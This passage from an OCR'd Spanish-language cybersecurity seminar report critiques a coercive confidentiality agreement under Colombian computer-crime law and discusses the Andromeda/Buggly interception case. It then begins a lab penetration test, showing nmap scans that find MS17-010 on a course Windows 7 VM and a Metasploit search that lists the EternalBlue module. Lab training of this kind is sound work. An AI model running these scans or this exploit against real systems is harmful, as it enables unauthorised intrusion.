2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utiidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion de informacion, accesos abusivos a sistemas informaticos”.

parte receptora tenga conocimiento o a la que tenga acceso por cualquier medio o
circunstancia en virtud de las reuniones sostenidas y/o documentos suministrados.
3. La que corresponda o deba considerarse como tal para garantizar el derecho
constitucional a la intimidad, la honra y el buen nombre de las personas y deba
guardarse la debida diligencia en su discrecion y manejo en el desempefio de sus
funciones.

Tercera. Origen de la informacién confidencial: provendra de documentos
suministrados en el proceso de seleccidon de personal y que tiene que ver con las
creaciones del intelecto, a la naturaleza, medios, formas de distribucion,
comercializacién de productos o de prestacion de servicios, transmitida verbal,
visual o materialmente, por escrito en los documentos, medios electronicos, discos
opticos, microfilmes, peliculas, e-mail u otros elementos similares suministrados de
manera tangible o intangible, independiente de su fuente o soporte y sin que
requiera advertir su caracter confidencial.

24



Cuarta. Obligaciones de la parte receptora: Se considerara como parte receptora
de la informacion confidencial a la persona que recibe la informacion, o que tenga
acceso a ella. La parte receptora se obliga a:

De ser necesario o conveniente segun la necesidad del titular de la informacion, se
adicionaran las obligaciones que se consideren pertinentes:

1. Mantener la informacion confidencial segura, usarla solamente para los
propositos relacionados con él, en caso de ser solicitada, devolverla toda
(incluyendo copias de esta) en el momento en que ya no requiera hacer uso de la
misma o cuando termine la relacién, caso en el cual, debera entregar dicha
informacion antes de la terminacion de la vinculacion.

2. Proteger la informacion confidencial, sea verbal, escrita, visual, tangible,
intangible o que por cualquier otro medio reciba, siendo legitima poseedora de la
misma Whitehouse Security, restringiendo su uso exclusivamente a las personas
gue tengan absoluta necesidad de conocerla.

3. No denunciar ante las autoridades actividades sospechosas de espionaje 0
cualquier otro proceso en el cual intervenga la apropiacién de informacion de
terceros.

4. Abstenerse de denunciar y publicar la informacién confidencial e ilegal que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.

5. Usar la informacién confidencial que se le entregue, Unicamente para los
efectos sefialados al momento de la entrega de dicha informacion.

6. Mantener la informacion confidencial en reserva hasta tanto adquiera el
caracter de publica.

7. Responder por el mal uso que le den sus representantes a la informacion
confidencial.

8. Responder ante las autoridades competentes como responsable en caso de que
la informacién se encuentre en su poder dentro de un proceso de allanamiento.

9. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier
otra forma divulgar total o parcialmente, publica o privadamente, la informacion
confidencial o ilegal sin el previo consentimiento por escrito por parte de
Whitehouse Security.

Paragrafo: Cualquier divulgacion autorizada de la informacién confidencial a
terceras personas estard sujeta a las mismas obligaciones de confidencialidad
derivadas del presente Acuerdo y la parte receptora debera informar estas
restricciones incluyendo la identificacion de la informacion cono confidencial.
Quinta. Obligaciones de la parte reveladora: Son obligaciones de la parte
reveladora:

1. Mantener la reserva de la informacion confidencial hasta tanto

Sexta. Responsabilidad: la parte que contravenga el acuerdo sera responsable
ante la otra parte o ante los terceros de buena fe sobre los cuales se demuestre que
se han visto afectados por la inobservancia del presente acuerdo, por los perjuicios
morales y econdmicos que estos puedan sufrir como resultado del incumplimiento
de las obligaciones aqui contenidas.

Octava. Solucion de controversias: Las partes (nombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los mecanismos
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alternativos de solucion de conflictos cualquier diferencia que surja con motivo de la
ejecucion del presente acuerdo. En caso que la informacion ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado privado y dejar
exenta de cualquier responsabilidad legal y penal a Whitehouse Security.

Novena. Legislacién aplicable: Este acuerdo se regira por las leyes de la
Republica de Colombia y se interpretara de acuerdo con las mismas.

Décima. Aceptacion del Acuerdo: Las partes han leido y estudiado de manera
detenida los términos y el contenido del presente Acuerdo y por tanto manifiestan
estar conformes y aceptan todas las condiciones.

Firman en Bogota D.C., a los (xxx) dias del mes de (xxx) de 201

Una vez analizado el anterior documento de confidencialidad para el reclutamiento
de los equipos Red team y Blue team, se procede a emitir un concepto ético y legal
acerca del mismo discriminado este por clausulas:

Clausula primera. Objeto: En el documento de confidencialidad se transcribe: “en
virtud del presente acuerdo de confidencialidad, la parte receptora, se obliga a
no divulgar directa, indirecta, proxima a remotamente, ni a través de ninguna otra
persona o de sus subalternos o funcionarios, autoridades legales, asesores o
cualquier persona relacionada con ella, la informacion confidencial o sobre
procesos ilegales dentro de Whitehouse Security no podran ser divulgados.”
Observaciones alaclausula: La empresa no podra coaccionar a la parte receptora
a través de un documento acuerdo de confidencialidad a encubrir a la empresa en
procesos ilegales que este evidencie o que la autoridad competente lo requiera en
parte de un proceso legal. De igual forma restringe mediante este documento
cualquier tipo de denuncia ante las autoridades locales, nacionales e
internacionales.

Clausula segunda. Punto 2. En el acuerdo de confidencialidad se transcribe que
es informacion confidencial o secreto: “Cualquier dato secreto como “datos de
chuzadas, interceptacion de informacién, accesos abusivos a sistemas
informaticos. Por la parte receptora que tenga conocimiento 0 a la que tenga
acceso por cualquier medio o circunstancia en virtud de las reuniones sostenidas
y/o documentos suministrados.”

Observaciones alaclausula: La empresa no podra coaccionar a la parte receptora
a través de un documento acuerdo de confidencialidad a encubrir a la empresa en
procesos ilicitos, los cuales estan tipificados en las siguientes leyes, Ley 1273 de
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2009 o ley de delitos informaticos, Ley 1273 de 2009, Decreto 1377 de 20132y la
Ley 1581 de 2012%,

Clausula tercera. Origen de la informacion confidencial: En el documento de
confidencialidad se transcribe: “provendra de documentos suministrados en el
proceso de seleccion de personal y que tiene que ver con las creaciones del
intelecto, a la naturaleza, medios, formas de distribucién, comercializacion de
productos o de prestacién de servicios, transmitida verbal, visual o materialmente,
por escrito en los documentos, medios electronicos, discos 6pticos, microfilmes,
peliculas, e-mail u otros elementos similares suministrados de manera tangible o
intangible, independiente de su fuente o soporte y sin que requiera advertir su
caracter confidencial.”

Observaciones a la clausula: La empresa no podra reconocer informacién
confidencial como suya si la misma es obtenida a través de forma ilegal ya que se
estaria incurriendo en un delito informatico el cual se encuentra tipificado en la Ley
1273 de 2009, el Decreto 1377 de 2013 y la Ley 1581 de 2012, y demés leyes y
tratado internacionales que se apliguen como consecuencia del ilicito para su
obtencion.

Clausula cuarta. Punto 3: En el documento de confidencialidad se transcribe: “No
denunciar_ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacién de informacién de
terceros. Punto 4: Abstenerse de denunciar y publicar lainformacién confidencial
e ilegal que conozca, reciba o intercambie con ocasién de las reuniones
sostenidas.”

Observaciones alaclausula: La empresa no podra coaccionar a la parte receptora
a través de un documento acuerdo de confidencialidad a encubrir a la empresa en
procesos ilicitos, los cuales estan tipificados en las siguientes leyes, Ley 1273 de
2009 o ley de delitos informaticos, Ley 1273 de 2009, Decreto 1377 de 2013 y la
Ley 1581 de 2012 y demas leyes y tratados internacionales que se apliquen como
consecuencia del ilicito para su obtencion. A demas de encubrir a la empresa en
practicas delictivas, la parte receptora de la informacién conociendo del hecho, este

11 Secretaria del Senado. (2022) Ley 1273 de 2009. Recuperado de
http://www.secretariasenado.gov.co/senado/basedoc/arbol/1000.html

12 Funcion Publica. (n.d) Decreto 1377 de 2013. Recuperado de
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646#:~:text=Se%C3%B1al
a%2010%20relacionado%20con%20el,al%20tratamiento%20de%20datos%20personales

13 Funcién Publica. (n.d.) Ley 1581 de 2012. Recuperado de
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981
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no lo denuncia lo cual lo hace complice del mismo bien sea por omisién y/o accion
si esta informacion la parte receptora la publica conociendo los medios por el cual
se apropiaron de la informacién.

Clausula cuarta. Punto 7: En el documento de confidencialidad se transcribe:
“Responder por el mal uso que le den sus representantes a la informacion
confidencial.”

Observaciones a la clausula: La parte receptora no es solidaria en
responsabilidades por el mal uso que la empresa haga de la informacion
confidencial que ella posea, siempre y cuando se no demuestre lo contrario en un
juicio.

Clausula Cuarta. Punto 8: En el acuerdo de confidencialidad se transcribe:
“Responder ante las autoridades competentes como responsable en caso de
gue la informacién _se encuentre en _su poder _dentro de un proceso de
allanamiento.”

Observaciones a la clausula: La parte receptora si posee informacion
confidencial, esta debera responder ante la autoridad. Si esta no fue obtenida de
forma licita, deberd demostrar 1. Que ella no la obtuvo, sino que le fue entregada
por la empresa, lo cual debera demostrarlo en un juicio de responsabilidades ante
un juez y 2. Que aun sabiendo que era poseedor de la informacion ¢ por qué no
denuncio el ilicito si este era de su conocimiento? Lo cual lo hace responsable de la
informacién que se encuentra en su poder.

Clausula cuarta. Punto 9: En el documento de confidencialidad se transcribe: “La
parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra
forma divulgar total o parcialmente, publica o privadamente, la informacién
confidencial o ilegal sin el previo consentimiento por escrito por parte de
Whitehouse Security.”

Observaciones a la clausula: La parte receptora esta obligada en la clausula de
confidencialidad a no revelar parcial o total informacién confidencial de la
organizacion, sin embargo, no es ético y menos aun legal encubrir a la empresa en
actos ilicitos como es la obtencion de informacion confidencial obtenida de forma
ilegal sabiendo que es un delito y esta mediante una clausula pretenda que la
receptora la encubra lo cual si lo hace, la hace complice de un delito informético.
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Clausula quinta. Punto 1: En el documento de confidencialidad se transcribe:
“Mantener la reserva de la informacién confidencial hasta tanto”.

Observaciones a la clausula: En esta clausula la informacién al parecer se
encuentra incompleta o eliminada intencionalmente ya que no es coherente la
finalizacion de la misma o que se quiere transmitir en el parrafo. De igual forma, se
evidencias espacios entre lineas lo que se puede interpretar como espacios en
blanco para transcribir informacion a conveniencia en caso de ser necesaria.

Clausula sexta. Responsabilidad: En el acuerdo de confidencialidad se
transcribe: “la parte que contravenga el acuerdo sera responsable ante la otra
parte o ante los terceros de buena fe sobre los cuales se demuestre gue se
han visto afectados por la inobservancia del presente acuerdo, por los
perjuicios morales y econdmicos que estos puedan sufrir como resultado del
incumplimiento de las obligaciones aqui contenidas.”

Observaciones a la clausula: De acuerdo a la clausula anterior, con la firma del
documento de confidencialidad, la parte receptora se somete a las condiciones
laborales tanto licitas como ilicitas por parte de la parte reveladora en este caso la
organizacion Whitehouse Security.

Clausula séptima. No existe esta clausula en el documento de confidencialidad
entregado por la organizacion, sin embargo, hay un espacio interlineado el cual se
podria prestar para redactarla en caso de ser conveniente para la organizacion.

Clausula octava. Responsabilidad: En el acuerdo de confidencialidad se
transcribe: “En_caso _gue la informacidn ilegal o confidencial sea encontrada
en manos del receptor este debera acudir aun abogado privado vy dejar exenta
de cualquier responsabilidad legal y penal a Whitehouse Security.”

Observaciones a la clausula: De acuerdo a la clausula anterior, con la firma del
documento de confidencialidad, la empresa no se hace responsable de los ilicitos
en los que ella incurra y deja por escrito, quien responde es la parte receptora
eximiendo de responsabilidades civiles y penales a la organizacién lo cual no es
ético ni legal aun sabiendo que es culpable de delitos que cometera dejandolo
implicitamente claro en el acuerdo de confidencialidad.
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Validando el documento de confidencialidad, como un todo, son claros los procesos
ilegales y no éticos en la redaccion del documento descritos en los parrafos
anteriores y a eso hay que agregar que se evidencian gran cantidad de espacios
entre lineas lo que se puede interpretar como espacios en blanco para anexar
informacion a conveniencia en caso de ser necesaria.

De igual forma hay una redaccion que no es acorde en un documento legal de una
empresa como WhiteHouse Security, organizacidon con reconocimiento a nivel
mundial el cual cuenta con un departamento juridico que tiene en su equipo juridico
profesionales de la mas alta calidad.

La recomendacion es no firmar el acuerdo de confidencialidad redactado por
organizaciéon Whitehouse Security, para el reclutamiento de sus equipos Red team
y Blue team ya que este se encuentra explicitamente elaborado con el Unico fin que
los miembros de los equipos en caso de una investigacion judicial estos sean los
responsables de cualquier hallazgo que encuentren las autoridades.

Anexo 3 —Vulneracion Ley 1273 de 2009 - Acuerdo de Confidencialidad

Clausula primera. En el documento de confidencialidad, clausula primera no se
vulneran articulos de la ley 1273 de 2009 o ley de delitos informéticos ya que él
documento cita “la informacién confidencial o sobre procesos ilegales dentro de
Whitehouse Security no podran ser divulgados”. La frase procesos ilegales es
amplia y no hace referencia especifica sobre delitos informaticos.

Clausula segunda. En el documento de confidencialidad redactado por
organizacion Whitehouse Security, clausula segunda se vulneran los siguientes
articulos de la ley 1273 de 2009 o ley de delitos informaticos ya que él documento
cita “datos de chuzadas, interceptacion de informacion, accesos abusivos a
sistemas informaticos”.

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. Se vulnera
este articulo ya que se accesa al sistema sin autorizacion a un sistema informéatico
en contra de la voluntad del poseedor de la informacion.

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. Vulnera el
presente articulo ya que se intercepta un sistema sin orden judicial a un sistema
informatico.
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Articulo 269F. VIOLACION DE DATOS PERSONALES. Vulnera el presente
articulo ya que se obtiene o sustrae informacion de datos personales y/o
confidenciales para el beneficio de la organizacion.

Articulo 269H. CIRCUNSTANCIAS DE AGRAVACION PUNITIVA: Se puede
inferir que hay agravante ya que se revelard o entregard el contenido de la
informacion en perjuicio de otro, provecho para la organizacion o un tercero.

Clausula tercera. En el acuerdo de confidencialidad redactado por organizacion
Whitehouse Security, clausula tercera no se vulneran articulos de la ley 1273 de
2009 o ley de delitos informaticos.

Clausula cuarta. En el acuerdo de confidencialidad redactado por organizacion
Whitehouse Security, punto 3 y punto 4 se vulneran todos los articulos de la ley
1273 de 2009 o ley de delitos informaticos ya que él documento cita “No denunciar
ante las autoridades actividades sospechosas de espionaje o cualquier otro proceso
en el cual intervenga la apropiacién de informacién de terceros.” Se entiende que al
aceptar firmando el acuerdo de confidencialidad, es complice al no denunciar ya
que, al hablar de espionaje, la forma de obtener informacién de terceros de forma
ilicita es mediante técnicas conocidas y no conocidas utilizadas por delincuentes
informaticos lo cual haran que se vulneren los articulos de la ley 1273 de 2009 y
demas leyes nacionales e internacionales segun el origen u origen de la informacion
obtenida ilegalmente.

Clausula décima. En el documento de confidencialidad, al aceptar firmarlo se
vulneran todos los articulos de la ley 1273 de 2009 o ley de delitos informaticos ya
que él documento se encuentra redactado para que, la parte receptora de la
informacion e caso de una investigacién sea la Unica responsable de la conducta
ilicita de la organizacion.

Aceptacion o No del Acuerdo de Confidencialidad.

Existiendo procesos poco confiables en el anexo 3 — Acuerdo, usted como experto
en ciberseguridad ¢Aplicaria a este trabajo en The WhiteHouse, donde la
organizacion dispone de un sueldo de $15.000.000 de pesos colombianos
mensuales y contrato vitalicio?
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Es claro que la Organizacion The WhiteHouse, no tiene definido en sus procesos
contractuales como marco legal, la legislacion sobre delitos informaticos ni la ética
de los profesionales que contratara ya que ellos al firmar aceptaran de forma
explicita que vulneraran entre otras leyes nacionales e internacionales, la Ley 1273
de 2009 sobre delitos informaticos, Decreto 1377 de 2013 sobre proteccién de datos
personales, la Ley 1581 de 2012 sobre proteccion de datos personales y el cédigo
de ética del ingeniero (Consejo Profesional Nacional de Ingenieria - COPNIA%).

Cabe resaltar que los siguientes capitulos, CAPITULO Il. DE LOS DEBERES Y
OBLIGACIONES DE LOS PROFESIONALES. ARTICULO 31. DEBERES
GENERALES DE LOS PROFESIONALES. ARTICULO 32. PROHIBICIONES
GENERALES A LOS PROFESIONALES, del cédigo de ética del ingeniero no serén
tenidos en cuenta a la hora de firmar el acuerdo de confidencialidad entre el
profesional y Whitehouse Security.

Si bien es cierto que existe un marco legal del comportamiento del profesional, para
este caso, el codigo de ética del Consejo Profesional Nacional de Ingenieria -
COPNIA (para ingenieros y sus profesiones afines o auxiliares), el cual regula la
profesion, de igual forma existe la ética propia de cada individuo como persona que
por mas estudios que tenga, legislacion que regule la profesion o leyes civiles y/o
penales, esta se tiene 0 no!

Expuesto lo anterior no aceptaria la propuesta de trabajo ofrecida por la Empresa
Whitehouse Security ya que eso seria aceptar una condena judicial, econémica y
profesional anticipada y la segura perdida de la tarjeta profesional.

2.4.2 Caso Operacion Andromeda Buggly

A continuacién, se analizara el caso “Operacion Andromeda Buggly” desde el punto
de vista del autor del presente informe, con relacion a las implicaciones legales y
éticas.

Antes de analizar el caso “Operacién Andromeda Buggly”’, definiremos que es
“Buggly”; Una construccion de dos plantas ubicado en el barrio Galerias, zona
residencial y comercial de la ciudad de Bogota, en el cual en su primera planta
funcionaba un restaurante y en la segunda planta funcionaba una empresa cuyo
nombre o razén social era BUGGLY, un hackerspaces con equipos tecnolégicos de

14 COPNIA (2023). Cadigo de ética. Recuperado de https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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tltima tecnologia en donde se reunia una comunidad de hacking ético y seguridad
informatica, para realizar capacitaciones, conferencias y entrenamiento sobre
hacking ético; como resultado de la Operacion Andromeda Buggly, se evidencié que
realmente era una fachada para interceptacion ilegal del Ejército Colombiano
financiado con los gastos reservados del ejército y el cual tenia como propdsito
reclutar civiles expertos en hacker y/o proyeccién del mismo.

llustracién 9. Hackerspace Buggly

Fuente: https://www.noticiasrcn.com/nacional-justicia/juez-declara-legal-captura-militares-caso-
andromeda

Los cibercriminales contaban con un software que interceptaba comunicaciones de
propiedad y utilizacién limitada solo al gobierno y software malicioso obtenido a
través del llamado “mercado negro”. Estos softwares permitian a los cibercriminales
acceder a datos personales y financieros de usuarios para vender informacion y
bases de datos en el mercado negro, utilizarlas en transacciones fraudulentas, como
método de espionaje para obtener informacién de las Farc y ELN en el territorio
nacional, informacion de las FARC en la Habana (Cuba), informacién de las bases
de datos de desmovilizados y acaldes de la zona del Catatumbo para utilizarlas en
contrainteligencia del ejército nacional.

Desde un punto de vista operacional e investigativo, la Operacion Andromeda
Buggly fue un éxito en la lucha contra el cibercrimen, ya que permitié la detencion
de civiles y militares, asi como la desarticulacion de una red nacional e internacional
de cibercriminales financiado por las fuerzas militares de Colombia (Ejército de
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Colombia). Sin embargo, es importante tener en cuenta las implicaciones legales y
éticas a futuro de las acciones realizadas por parte de la red de hackers, ya que la
privacidad y seguridad de usuarios, instituciones nacionales y gobiernos extranjeros
fueron vulneradas; aqui en Colombia se vulneraron ademas de leyes penales y
civiles, la Ley 1273 de 2009 sobre delitos informaticos, Decreto 1377 de 2013 sobre
proteccion de datos personales, la Ley 1581 de 2012 sobre proteccion de datos
personales entre otras leyes y tratados internacionales.

La Operacion Andromeda Buggly dejo en evidencia la necesidad de una
cooperacion de todas las fuerzas del estado colombiano, asi como internacional en
la lucha contra el cibercrimen, siendo esta un ejemplo de la importancia de la lucha
contra la ciberseguridad en el mundo actual y de la urgente necesidad de
capacitacion, colaboracion e intercambio de recursos humanos y de tecnologia para
hacer frente a las amenazas cibernéticas que crecen de forma exponencial en un
mundo cada vez mas digital.

2.5 EJECUCION DE PRUEBAS DE INTRUSION

A continuacioén, se desarrollara la Etapa 3 — Ejecucién pruebas de intrusion, tercera
fase del Seminario Especializado: Equipos Estratégicos en Ciberseguridad: Red
Team & Blue Team.

Andlisis de anexos

Anexo 2 - Situacién Problema — Analisis Red Team.

A continuacion, se transcribe el texto entregado por el curso de la situacion
planteada del problema para su posterior andlisis en el desarrollo de la actividad:

“La primera mision del equipo Red Team es lograr identificar porqué medio o
proceso se esta generando una serie de fuga de informacién la cual se presenta al
interior de la organizacion en uno de sus equipos de computo en la dependencia.

La informacion inicial con la que cuenta el equipo es que la maquina donde se esta
generando la fuga de informacién tiene instalada una aplicacion llamada rejetto v.
2.3 bajo un windows 7 con arquitectura X64; esta aplicacion al parecer tiene
asociado un exploit que puede terminar en una Shell reversa y una sesion abierta
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de meterpreter. Dentro de la investigacion también se investiga un escalamiento de
privilegios por medio de la creacion de un usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada a usted
como experto, debe validar la posible falla de seguridad y si esta es explotada debe
crear un usuario con su primer nombre y primer apellido, el usuario debe ser
administrador esto con el fin de demostrar una PoC ante los altos directivos.”

Para desarrollar el presente informe, se presentan las maquinas activas en el banco
de trabajo con las OVA de Windows 7 X86 y Windows 7 X64 suministradas por el
curso, con sus Ip configuradas.

Win7-SE2020 (Win 7 32 bits) IP: 10.0.2.20 en la maquina Windows 7 32 bits
Win7-SE2020-X64 (Win 7 64 bits) IP: 10.0.2.21 en la maquina Windows 7 64 bits
KALI LINUX IP: 10.0.2.22 en la maquina Kali Linux

Situacion problema - rejetto V 2.3

Al analizar la situacion del problema, este plantea Anexo 2 — Situacion Problema —
Analisis Red Team, lo siguiente “La informacion inicial con la que cuenta el equipo
es que la maquina donde se esta generando la fuga de informacién tiene instalada
una aplicacion llamada rejetto v. 2.3 bajo un windows 7 con arquitectura X64; esta
aplicacion al parecer tiene asociado un exploit que puede terminar en una Shell
reversa y una sesion abierta de meterpreter”.

Lo primero es analizar la maquina Win7-SE2020-X64 (Win 7 64 bits), validando que
la aplicacion rejetto v. 2.3 se encuentre instalada en ella, para esto se utiliza el
software AIDA64 Extreme_6.32.5600 con el cual generamos un reporte de las
aplicaciones instaladas en el equipo.
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llustracién 10. Reporte software instalado en la maquina (Win7 64 bits)

ﬂ Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox
Archivo  Méquina Ver Entrada  Dispositivos  Ayuda
@ Report of <PC202006> - Windows Intemet Explorer

- x

[= & =]
@U + [ filesncu Doc port%20Saftware.ht @ ‘ ‘r‘ % | [l 8ing £ ~|

S Favorites | 5 ] Galeria de Web Slice v g Sitios sugeridos v

@ Report of <PC202006> i v B - = @ ~ Pigina~ Seguridad> Hemamientas~ @~

Auto Start

Application Description Start From Application Command
VBoxTray Registry\Common\Run  C:\Windows\system32\VBoxTray.exe

Installed Programs

Program Version Inst. Size GUID Publisher Inst. Date
7-Zip 19.00 (x64) 19.00  Unknown 7-Zip Igor Paviow

AIDAG4 Extreme v6.32 6.32 Unknown AIDA64 Extreme_isl FinalWire Ltd. 2021-02-08
Mozilla Firefox (x64 es-ES) 110.0.1  Unknown Moxzilla Firefox 110.0.1 (x64 es-ES)  Mozilla

Mozilla Maintenance Service 77.0.1  Unknown MozillaMaintenanceService Mozilla

Oracle VM VirtualBox Guest Additions 6.1.10 6.1.10.0  Unknown Oracle VM VirtualBox Guest Additions Oracle Corporation

Licenses

1 Equipo | Modo protegide: desactivado b ®10% -
0603 pam. | |

me @) )
S WIS om0 |
IR T

Fuente: Propia (2023)

Informe de aplicaciones instalados en la maquina Win7-SE2020-X64 (Win 7 64 bits):
e 7-Zip 19.00 (x64)

A10A64 Extreme v6.32

Morilla Firefox (x64 os* ES)

Mordia Mawitenance Service

Oracle VM VirtualBox Guest Addibons 6.1.10

Se evidencia la no instalacion de la aplicacion rejetto v. 2.3 en la maquina Win7-
SE2020-X64 (Win 7 64 bits), OVA enviada por el Ing. John F. Quintero T. - Director
de curso a través del correo del seminario, motivo por el cual no se puede realizar
el andlisis al requerimiento del Anexo 2 — Situacién Problema — Analisis Red Team.

2.5.1Recopilacion, planificacion y preparacion

Para dar inicio al proceso, se realiza un escaneo de red para establecer maquinas
activas, sistemas operativos, direcciones IP y puertos abiertos. Para realizar el
proceso utilizaremos la herramienta nmap*® con el cual conoceremos la informacién
(Hardware y Software) en cada maquina de la red.

15 Escribir nota https://nmap.online/es/nmap-commands
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https://nmap.online/es/nmap-commands

Comandos de consola utilizados en el desarrollo de exploracién y penetracion de
vulnerabilidades.

nmap —sP 10.0.2.0/24

Evidencia

Se identifican las siguientes tres Ip activas: 10.0.2.1 - 10.0.2.21 - 10.0.2.22

llustracion 11. Escaneando la red con el comando nmap —sP 10.0.2.0/24

P4 Kali Linux [Corriendo] - Oracle VM VirtualBox a X
Archivo  Maguna Ver Entrada  Dispositivos  Ayuda

Papelera Carpeta pe...

Sistema de ..

W&o B # O] @@ cr omecia

Fuente: Propia (2023)

2.5.2Investigacién y analisis vulnerabilidades

En el siguiente bloque se ejecutaran los siguientes comandos de consola para la
exploracion y penetracion de vulnerabilidades.

sudo nmap 10.0.2.21 -script vuln
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Evidencia

PORT STATE SERVICE

445/tcp  open microsoft-ds

Host script results:

smb-vuln-ms10-061: NT_STATUS_ACCESS_ DENIED
smb-vuln-ms17-010:

VULNERABLE:

Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE

IDs: CVE:CVE-2017-0143

Risk factor: HIGH

A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

llustracidén 12. Analisis de vulnerabilidades

P4 Kali Linux [Corriendo] - Oracle VM VirtualBox = X
trada  Dispositivos  Ayuda

P &[] 1 2 3 4 |¢ o A &0 a e

Archivo Acciones Editar Vista Ayuda

& e B 8] @ cr oeecHa

Fuente: Propia (2023)

A continuacion, se hace una recopilacion de informacién acerca de las
vulnerabilidades evidenciadas con la herramienta nmap.
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llustracién 13. Vulnerabilidad CVE-2017-0143 https://cve.mitre.org/index.html

CVE - CVE-2017-0143 x  + v = X
C @ cvemitre.org/cgi-bin/cvename.cgifname=CVE-2017-0143 E 2 % =0 o
NVD
Go to for:
CWSS Score:
- W 458 Scorss

TOTAL CVE Records: 197126

NOTICE: Transition to the all-new CVE website at WWW.CVE.ORG and CVE Record Format JSON are underway.
NOTICE: Changes are coming to CVE List Content Downloads in 2023.

HOME > CVE > CVE-2017-0143

Printer-Friendly View

CVE-2017-0143 Learn more at National Vulnerability Database (NVD)

¢ CVSS Severity Rating ¢ Fix Information * Vulnerable Software Versions ¢ SCAP Mappings * CPE Information

The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 S Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1;
and windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code
Execution Vulnerability.” This vulnerability is different from those described in CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

BID:96703

URL:http://www.securityfocus.com/bid/96703

CONFIRM:https: //cert-portal.siemens.com/productcert/pdf/ssa-701903 . pdf

CONFIRM:https: //cert-portal.siemens.com/productcert/pdf/ssa-966341.pdf

CONFIRM:https: //portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0143
httpsi//cve.mitre.arg/indexhtm| 1891

Fuente: Propia (2023)

llustracién 14. Vulnerabilidad CVE-2017-0143 https://www.nist.gov/

NVD - cve-2017-0143 x  + v

& > C @ nvdnistgov/vuln/detsil/cve-2017-0143#match-3594783 w e x 0@ :

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE NIST ek

VULNERABILITIES

JXCVE-2017-0143 Detail

jianiiEn QUICK INFO
This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result CVE Dictionary Entry:
in further changes to the information provided. CVE-2017-0143
NVD Published Date:
g ow 03/16/2017
Description NVD Last Modified:
The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; 06/20/2018
Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 Source:
allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Microsoft Corporation

Vulnerability." This vulnerability is different from those described in CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, and

Fuente: Propia (2023)
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llustracién 15. Vulnerabilidad CVE-2017-0143 https://www.rapid7.com/

F? Vulnerability & Exploit Database X + v = X
& C @& rapid7.com/db/?q=CVE-2017-0143&type= Q m a e « 0O 0 H

PRODUCTS SERVICES SUPPORT & RESOURCES COMPANY RESEARCH EN .~ @SIGNIN

Vulnerability & Exploit

Database

CVE-2017-0143 Type

Results 01 - 01 0f 01 in total

Microsoft CVE-2017-0143: Windows SMB Remote Code Execution Vulnerability

- o .

Fuente: Propia (2023)

llustracién 16. Vulnerabilidad ms17-010 https://www.rapid7.com/

F) Vulnerability & Exploit Database X + v = X
¢ C @ rapid7.com/db/2q=ms17-0108type= amagx 0@ :

RAPID) PRODUCTS . SERVICES .  SUPPORT & RESOURCES ~  COMP

Vulnerability & Exploit Database Ty now

ms17-010

Resuits 01 - 05 of 05 in total

MS17-010 hampion SMB Remote Windows
Code Execution MODULE

MS17-010 nergy/ hampion SMB Remote Windows
Command Execution MODULE EXPLORE

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Wing+
- M. 7 MODULE ExPLORE

MS17-010 SMB RCE Detection
tec: Mi MODULE ExPLORE

MS17-010 Et IBlue SMB R te Wind Ki 1 Pool Ce ti
! ernalBlue emote Windows Kernel Pool Corruption i

0
: :
Fuente: Propia (2023)
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2.5.3Penetracion y explotacion de vulnerabilidades

En el siguiente bloque se utilizara una herramienta para ejecutar exploits en la
maquina remota con vulnerabilidades IDs: CVE:CVE-2017-0143 servers (msl17-
010) como es Metasploit, Meterpreter ejecutara un payload para realizar acciones
en el equipo remoto y en el Ultimo paso el Shell obteniendo informacion.

Comandos de consola utilizados en el siguiente bloque.

metasploit framework

llustracion 17. Herramienta Metasploit

P4 Kali Lin ndo] - Oracle VM VirtualBox - x
Archivo Ver Entrada Dispositivos  Ayuda

2 3 4|E A Bu%| & G

Archivo Acciones Editar Vista Ayuda

[i] The database appears to be already configured, skipping initialization

1 can apply complex filters such as
, see all the

loit Documentation: https:/ cs.metasploit.com/

& o (=M B @ @ R oErecHa
Fuente: Propia (2023)

search ms17-010
Evidencia
IdO

Nombre exploit/windows/smb/msl|7_010_eternalblue
Descripcion MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
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llustracién 18. Comando search ms17-010

P4 Kali Linux [Corriendo] - Oracle VM VirtualBox -
Archivo  Maquina

]em

Ver Entrada Dispositivos  Ayuda

Terminal nro. 1

Archivo Acciones Editar Vista Ayuda

msf6 > search ms17-010

Matching Modules

LEL Disclosure Date Rank Description

